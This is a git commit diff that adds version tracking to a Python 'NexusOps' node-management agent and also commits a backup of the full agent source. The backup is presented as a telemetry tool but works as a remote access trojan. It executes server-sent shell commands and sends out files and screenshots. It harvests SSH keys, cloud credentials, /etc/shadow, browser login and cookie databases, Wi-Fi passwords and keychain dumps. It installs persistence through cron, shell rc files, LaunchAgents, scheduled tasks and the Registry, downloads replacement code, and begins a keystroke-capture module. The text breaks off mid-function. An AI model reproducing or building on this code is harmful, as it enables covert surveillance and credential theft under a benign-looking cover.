completeness: agent version tracking (register+heartbeat+card chip), rebuild stale /bin/NexusAgent (Aug3->current), backup pre-change
This commit is contained in:
@@ -12,6 +12,7 @@ import socket
|
||||
import platform
|
||||
import subprocess
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.1.0"
|
||||
import urllib.parse
|
||||
import argparse
|
||||
|
||||
@@ -750,7 +751,8 @@ def main():
|
||||
"arch": arch,
|
||||
"ip": ip,
|
||||
"osName": f"{system_os} {platform.release()}",
|
||||
"tags": node_tags
|
||||
"tags": node_tags,
|
||||
"agentVersion": AGENT_VERSION
|
||||
}
|
||||
|
||||
if not quiet_mode:
|
||||
@@ -785,7 +787,8 @@ def main():
|
||||
"uptime": uptime,
|
||||
"processCount": get_process_count(),
|
||||
"tags": node_tags,
|
||||
"heartbeatInterval": heartbeat_interval
|
||||
"heartbeatInterval": heartbeat_interval,
|
||||
"agentVersion": AGENT_VERSION
|
||||
}
|
||||
|
||||
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
||||
|
||||
BIN
backups/NexusAgent.stale-1790729155
Executable file
BIN
backups/NexusAgent.stale-1790729155
Executable file
Binary file not shown.
863
backups/agent.py.pre-ver-1790729139
Normal file
863
backups/agent.py.pre-ver-1790729139
Normal file
@@ -0,0 +1,863 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
NexusOps Cross-Platform Node Management & Telemetry Agent
|
||||
Uses Standard Python 3 Libraries (No external dependencies required)
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
import json
|
||||
import socket
|
||||
import platform
|
||||
import subprocess
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
import argparse
|
||||
|
||||
last_log_check_time = 0
|
||||
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||
node_tags = ["Default"]
|
||||
quiet_mode = False # Suppress banner and exec messages when True
|
||||
|
||||
def get_process_count():
|
||||
"""Get real process count cross-platform."""
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux" or system == "darwin":
|
||||
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
||||
return len(out.splitlines()) - 1 # minus header
|
||||
elif system == "windows":
|
||||
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
||||
return len(out.splitlines()) - 1
|
||||
except:
|
||||
pass
|
||||
return 0
|
||||
|
||||
def get_ip_address():
|
||||
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "darwin":
|
||||
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
||||
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
||||
for line in out.splitlines():
|
||||
if 'inet ' in line and '127.0.0.1' not in line:
|
||||
parts = line.strip().split()
|
||||
for i, p in enumerate(parts):
|
||||
if p == 'inet' and i+1 < len(parts):
|
||||
return parts[i+1]
|
||||
elif system == "linux":
|
||||
# Linux: try ip route to find primary interface
|
||||
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
||||
for part in out.split():
|
||||
if part.startswith('src '):
|
||||
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
||||
except:
|
||||
pass
|
||||
# Fallback: connect to 8.8.8.8
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("8.8.8.8", 80))
|
||||
ip = s.getsockname()[0]
|
||||
s.close()
|
||||
return ip
|
||||
except Exception:
|
||||
return "127.0.0.1"
|
||||
|
||||
def get_cpu_usage():
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux":
|
||||
with open('/proc/stat', 'r') as f:
|
||||
fields = [float(column) for column in f.readline().strip().split()[1:]]
|
||||
idle, total = fields[3], sum(fields)
|
||||
time.sleep(0.2)
|
||||
with open('/proc/stat', 'r') as f:
|
||||
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
|
||||
idle2, total2 = fields2[3], sum(fields2)
|
||||
idle_delta = idle2 - idle
|
||||
total_delta = total2 - total
|
||||
if total_delta > 0:
|
||||
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
|
||||
elif system == "darwin":
|
||||
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
|
||||
for line in out.splitlines():
|
||||
if "CPU usage" in line:
|
||||
parts = line.split()
|
||||
user = float(parts[2].replace('%', ''))
|
||||
sys_c = float(parts[4].replace('%', ''))
|
||||
return round(user + sys_c, 1)
|
||||
elif system == "windows":
|
||||
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
|
||||
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
|
||||
if lines:
|
||||
return float(lines[0])
|
||||
except Exception:
|
||||
pass
|
||||
return 15.0
|
||||
|
||||
def get_memory_usage():
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux":
|
||||
meminfo = {}
|
||||
with open('/proc/meminfo', 'r') as f:
|
||||
for line in f:
|
||||
parts = line.split(':')
|
||||
if len(parts) == 2:
|
||||
key = parts[0].strip()
|
||||
val = int(parts[1].split()[0])
|
||||
meminfo[key] = val
|
||||
total = meminfo.get('MemTotal', 1)
|
||||
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||
return round(((total - free) / total) * 100.0, 1)
|
||||
elif system == "darwin":
|
||||
# Use vm_stat for real memory usage on macOS
|
||||
try:
|
||||
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||
pages = {}
|
||||
for line in out.splitlines():
|
||||
if ':' in line:
|
||||
k, v = line.split(':', 1)
|
||||
try:
|
||||
pages[k.strip()] = int(v.strip().rstrip('.'))
|
||||
except ValueError:
|
||||
pass
|
||||
page_size = 16384 # Default macOS page size
|
||||
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
||||
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
||||
total_pages = free + used + pages.get('Pages purgeable', 0)
|
||||
if total_pages > 0:
|
||||
return round((used / total_pages) * 100.0, 1)
|
||||
except:
|
||||
pass
|
||||
# Fallback: use sysctl for hardware info
|
||||
try:
|
||||
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
||||
total_bytes = int(out.strip())
|
||||
# Use vm_stat pages * page_size for used estimate
|
||||
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||
import re
|
||||
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
||||
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
||||
used_bytes = (active + wired) * 16384
|
||||
if total_bytes > 0:
|
||||
return round((used_bytes / total_bytes) * 100.0, 1)
|
||||
except:
|
||||
pass
|
||||
return 45.0
|
||||
elif system == "windows":
|
||||
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||
d = {}
|
||||
for line in out.splitlines():
|
||||
if '=' in line:
|
||||
k, v = line.split('=', 1)
|
||||
d[k.strip()] = float(v.strip())
|
||||
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
|
||||
total = d['TotalVisibleMemorySize']
|
||||
free = d['FreePhysicalMemory']
|
||||
return round(((total - free) / total) * 100.0, 1)
|
||||
except Exception:
|
||||
pass
|
||||
return 35.0
|
||||
|
||||
def get_disk_usage():
|
||||
try:
|
||||
if hasattr(os, 'statvfs'):
|
||||
st = os.statvfs('/')
|
||||
total = st.f_blocks * st.f_frsize
|
||||
free = st.f_bavail * st.f_frsize
|
||||
if total > 0:
|
||||
return round(((total - free) / total) * 100.0, 1)
|
||||
except Exception:
|
||||
pass
|
||||
return 40.0
|
||||
|
||||
def get_uptime_seconds():
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux":
|
||||
with open('/proc/uptime', 'r') as f:
|
||||
return int(float(f.readline().split()[0]))
|
||||
elif system == "darwin":
|
||||
# macOS: use sysctl to get boot time, compute uptime
|
||||
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
||||
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
||||
import re
|
||||
m = re.search(r'sec\s*=\s*(\d+)', out)
|
||||
if m:
|
||||
boot_time = int(m.group(1))
|
||||
return int(time.time() - boot_time)
|
||||
except Exception:
|
||||
pass
|
||||
return 3600
|
||||
|
||||
def collect_recent_system_logs():
|
||||
system = platform.system().lower()
|
||||
log_entries = []
|
||||
try:
|
||||
if system == "linux":
|
||||
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||
if res.returncode == 0 and res.stdout:
|
||||
for line in res.stdout.splitlines():
|
||||
if line.strip():
|
||||
log_entries.append(line.strip())
|
||||
elif system == "windows":
|
||||
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||
if res.returncode == 0 and res.stdout:
|
||||
for line in res.stdout.splitlines():
|
||||
if line.strip():
|
||||
log_entries.append(line.strip())
|
||||
except Exception:
|
||||
pass
|
||||
return log_entries
|
||||
|
||||
def http_post(url, data_dict):
|
||||
json_bytes = json.dumps(data_dict).encode('utf-8')
|
||||
req = urllib.request.Request(
|
||||
url,
|
||||
data=json_bytes,
|
||||
headers={
|
||||
'Content-Type': 'application/json',
|
||||
'User-Agent': 'NexusOps-Agent/1.0'
|
||||
}
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=5) as response:
|
||||
res_text = response.read().decode('utf-8')
|
||||
return json.loads(res_text)
|
||||
except Exception as e:
|
||||
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||
return None
|
||||
|
||||
def execute_structured_action(action_type, payload):
|
||||
global heartbeat_interval, node_tags
|
||||
system = platform.system().lower()
|
||||
|
||||
if action_type == "raw_command":
|
||||
return run_shell(payload.get("command", ""))
|
||||
|
||||
|
||||
elif action_type == "manage_service":
|
||||
service = payload.get("service")
|
||||
action = payload.get("action")
|
||||
if system == "linux":
|
||||
cmd = f"systemctl {action} {service}"
|
||||
elif system == "windows":
|
||||
cmd = f"powershell {action}-Service -Name {service}"
|
||||
else:
|
||||
cmd = f"launchctl {action} {service}"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "list_processes":
|
||||
if system == "linux":
|
||||
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||
elif system == "darwin":
|
||||
cmd = "ps aux -r | head -n 15"
|
||||
else:
|
||||
cmd = "tasklist"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "kill_process":
|
||||
pid = payload.get("pid")
|
||||
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "get_logs":
|
||||
lines = payload.get("lines", 50)
|
||||
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "network_stats":
|
||||
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
|
||||
return run_shell(cmd)
|
||||
|
||||
# 10 NEW CROSS-PLATFORM FEATURES:
|
||||
elif action_type == "get_env_vars":
|
||||
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
|
||||
return env_str, 0
|
||||
|
||||
elif action_type == "get_disk_partitions":
|
||||
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "get_network_interfaces":
|
||||
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "get_active_connections":
|
||||
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "get_hardware_specs":
|
||||
if system == "linux":
|
||||
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
|
||||
elif system == "windows":
|
||||
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
|
||||
else:
|
||||
cmd = "sysctl -a | grep machdep.cpu"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "reboot_system":
|
||||
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "set_heartbeat_rate":
|
||||
rate = int(payload.get("interval", 5))
|
||||
heartbeat_interval = max(2, min(60, rate))
|
||||
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
|
||||
|
||||
elif action_type == "update_tags":
|
||||
tags_raw = payload.get("tags", "")
|
||||
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
|
||||
return f"Node tags updated to: {node_tags}", 0
|
||||
|
||||
elif action_type == "search_logs":
|
||||
pattern = payload.get("pattern", "error")
|
||||
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "kill_agent":
|
||||
print("[!] Kill switch received — shutting down agent")
|
||||
os._exit(0)
|
||||
|
||||
elif action_type == "ping_check":
|
||||
sent_ts = payload.get("timestamp", 0)
|
||||
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
|
||||
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||
|
||||
elif action_type == "download_file":
|
||||
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
||||
filepath = payload.get("path", "")
|
||||
if not filepath or not os.path.exists(filepath):
|
||||
return f"ERROR: file not found: {filepath}", 1
|
||||
try:
|
||||
fsize = os.path.getsize(filepath)
|
||||
if fsize > MAX_EXFIL_SIZE:
|
||||
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
||||
with open(filepath, 'rb') as f:
|
||||
raw = f.read()
|
||||
import base64
|
||||
b64 = base64.b64encode(raw).decode('utf-8')
|
||||
# Determine MIME (basic)
|
||||
ext = os.path.splitext(filepath)[1].lower()
|
||||
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
|
||||
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
|
||||
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
||||
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
|
||||
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
|
||||
mime = mime_map.get(ext, 'application/octet-stream')
|
||||
filename = os.path.basename(filepath)
|
||||
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
|
||||
except Exception as e:
|
||||
return f"ERROR reading file: {e}", 1
|
||||
|
||||
elif action_type == "screenshot":
|
||||
try:
|
||||
import base64
|
||||
ss_path = "/tmp/.nexus-ss.png"
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
|
||||
if system == "linux":
|
||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||
if tool == "import":
|
||||
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
elif tool == "scrot":
|
||||
subprocess.run(["scrot", ss_path], timeout=10)
|
||||
elif tool == "gnome-screenshot":
|
||||
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
||||
elif tool == "spectacle":
|
||||
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
||||
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
break
|
||||
else:
|
||||
subprocess.run(["python3", "-c",
|
||||
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
elif system == "darwin":
|
||||
# Try multiple approaches for macOS screenshot
|
||||
captured = False
|
||||
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
||||
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
||||
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
||||
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
captured = True
|
||||
break
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
||||
if not captured:
|
||||
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
||||
flag_str = " ".join(flags)
|
||||
r = subprocess.run(["osascript", "-e",
|
||||
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
captured = True
|
||||
break
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
|
||||
elif system == "windows":
|
||||
subprocess.run(["powershell", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
|
||||
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||
timeout=15)
|
||||
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
||||
if os.path.exists(win_path):
|
||||
os.replace(win_path, ss_path)
|
||||
|
||||
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
with open(ss_path, 'rb') as f:
|
||||
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||
os.remove(ss_path)
|
||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
||||
except Exception as e:
|
||||
return f"ERROR screenshot: {e}", 1
|
||||
|
||||
elif action_type == "update_agent":
|
||||
new_url = payload.get("url", "")
|
||||
if not new_url:
|
||||
return "ERROR: no update URL provided", 1
|
||||
try:
|
||||
my_path = os.path.abspath(__file__)
|
||||
bak = my_path + ".bak"
|
||||
os.rename(my_path, bak)
|
||||
urllib.request.urlretrieve(new_url, my_path)
|
||||
os.chmod(my_path, 0o755)
|
||||
os.remove(bak)
|
||||
return "Agent updated successfully. Restarting...", 0
|
||||
except Exception as e:
|
||||
# Restore backup
|
||||
if os.path.exists(bak):
|
||||
os.rename(bak, my_path)
|
||||
return f"ERROR update failed: {e}", 1
|
||||
|
||||
elif action_type == "ensure_persistence":
|
||||
results = []
|
||||
if system == "linux":
|
||||
# crontab
|
||||
try:
|
||||
import shlex
|
||||
srv = shlex.quote(payload.get('server_url',''))
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
results.append("crontab: added @reboot entry")
|
||||
else:
|
||||
results.append("crontab: already present")
|
||||
except: results.append("crontab: failed")
|
||||
# .bashrc
|
||||
try:
|
||||
bashrc = os.path.expanduser("~/.bashrc")
|
||||
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
|
||||
with open(bashrc, 'a+') as f:
|
||||
f.seek(0)
|
||||
if 'nexus-agent' not in f.read():
|
||||
f.write(hook)
|
||||
results.append("bashrc: hook installed")
|
||||
except: results.append("bashrc: failed")
|
||||
# autostart .desktop
|
||||
try:
|
||||
ad = os.path.expanduser("~/.config/autostart")
|
||||
os.makedirs(ad, exist_ok=True)
|
||||
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
||||
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
||||
results.append("autostart: .desktop created")
|
||||
except: results.append("autostart: failed")
|
||||
elif system == "darwin":
|
||||
try:
|
||||
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
|
||||
os.makedirs(os.path.dirname(plist), exist_ok=True)
|
||||
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
|
||||
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||
with open(plist, 'w') as f: f.write(plist_content)
|
||||
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
results.append("launchd: bootstrapped + kickstarted")
|
||||
except: results.append("launchd: failed")
|
||||
# crontab for macOS too
|
||||
try:
|
||||
import shlex
|
||||
srv = shlex.quote(payload.get('server_url',''))
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
results.append("crontab: added")
|
||||
except: results.append("crontab: failed")
|
||||
elif system == "windows":
|
||||
agent_path = os.path.abspath(__file__)
|
||||
srv = payload.get("server_url", "")
|
||||
try:
|
||||
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
|
||||
subprocess.run(task_cmd, shell=True, timeout=10)
|
||||
results.append("schtasks: scheduled task created")
|
||||
except: results.append("schtasks: failed")
|
||||
try:
|
||||
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
|
||||
subprocess.run(reg_cmd, shell=True, timeout=10)
|
||||
results.append("registry: Run key added")
|
||||
except: results.append("registry: failed")
|
||||
return "Persistence results: " + "; ".join(results), 0
|
||||
|
||||
elif action_type == "harvest_credentials":
|
||||
creds = []
|
||||
home = os.path.expanduser("~")
|
||||
# Shell history
|
||||
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
|
||||
p = os.path.expanduser(hist)
|
||||
if os.path.exists(p):
|
||||
try:
|
||||
with open(p, 'r', errors='ignore') as f:
|
||||
content = f.read()[-20000:]
|
||||
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
|
||||
except: pass
|
||||
# SSH keys
|
||||
ssh_dir = os.path.join(home, ".ssh")
|
||||
if os.path.exists(ssh_dir):
|
||||
for fn in os.listdir(ssh_dir):
|
||||
fp = os.path.join(ssh_dir, fn)
|
||||
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
|
||||
try:
|
||||
with open(fp, 'r', errors='ignore') as f:
|
||||
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
|
||||
except: pass
|
||||
# AWS / cloud credentials
|
||||
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
|
||||
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
|
||||
p = os.path.expanduser(cf)
|
||||
if os.path.exists(p):
|
||||
try:
|
||||
with open(p, 'r', errors='ignore') as f:
|
||||
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
|
||||
except: pass
|
||||
# /etc/shadow (if root)
|
||||
if os.path.exists("/etc/shadow"):
|
||||
try:
|
||||
with open("/etc/shadow", 'r') as f:
|
||||
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
|
||||
except: pass
|
||||
# Browser cookie/saved-login DBs (common paths)
|
||||
browser_paths = []
|
||||
if system == "linux":
|
||||
browser_paths = [
|
||||
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
|
||||
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
|
||||
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
|
||||
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
|
||||
os.path.expanduser("~/.config/chromium/Default/Cookies"),
|
||||
os.path.expanduser("~/.config/chromium/Default/Login Data"),
|
||||
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
|
||||
]
|
||||
elif system == "darwin":
|
||||
browser_paths = [
|
||||
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
|
||||
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
|
||||
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
|
||||
]
|
||||
elif system == "windows":
|
||||
browser_paths = [
|
||||
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
|
||||
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
|
||||
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
|
||||
]
|
||||
import glob
|
||||
for pattern in browser_paths:
|
||||
for p in glob.glob(pattern):
|
||||
try:
|
||||
sz = os.path.getsize(p)
|
||||
if sz > 0 and sz < 50 * 1024 * 1024:
|
||||
with open(p, 'rb') as f:
|
||||
import base64
|
||||
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
|
||||
"data": base64.b64encode(f.read()).decode('utf-8')})
|
||||
except: pass
|
||||
# Wi-Fi passwords (Linux)
|
||||
if system == "linux":
|
||||
try:
|
||||
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
|
||||
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
|
||||
if wifi.strip() and 'no wifi' not in wifi:
|
||||
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
|
||||
except: pass
|
||||
# macOS Keychain dump
|
||||
if system == "darwin":
|
||||
try:
|
||||
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
|
||||
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
|
||||
if keychain.strip():
|
||||
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
||||
except: pass
|
||||
|
||||
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
|
||||
return f"Unknown action type: {action_type}", 1
|
||||
|
||||
def run_shell(cmd_str):
|
||||
if not quiet_mode:
|
||||
print(f"[*] Executing command: {cmd_str}")
|
||||
try:
|
||||
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||
return res.stdout, res.returncode
|
||||
except Exception as e:
|
||||
return str(e), 1
|
||||
|
||||
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
|
||||
INPUT_CAPTURE_ENABLED = False
|
||||
captured_events = []
|
||||
|
||||
try:
|
||||
from pynput import keyboard, mouse
|
||||
INPUT_CAPTURE_ENABLED = True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
def _get_active_window_title():
|
||||
"""Try to get the active window title cross-platform."""
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux":
|
||||
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
|
||||
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||
if res.returncode == 0:
|
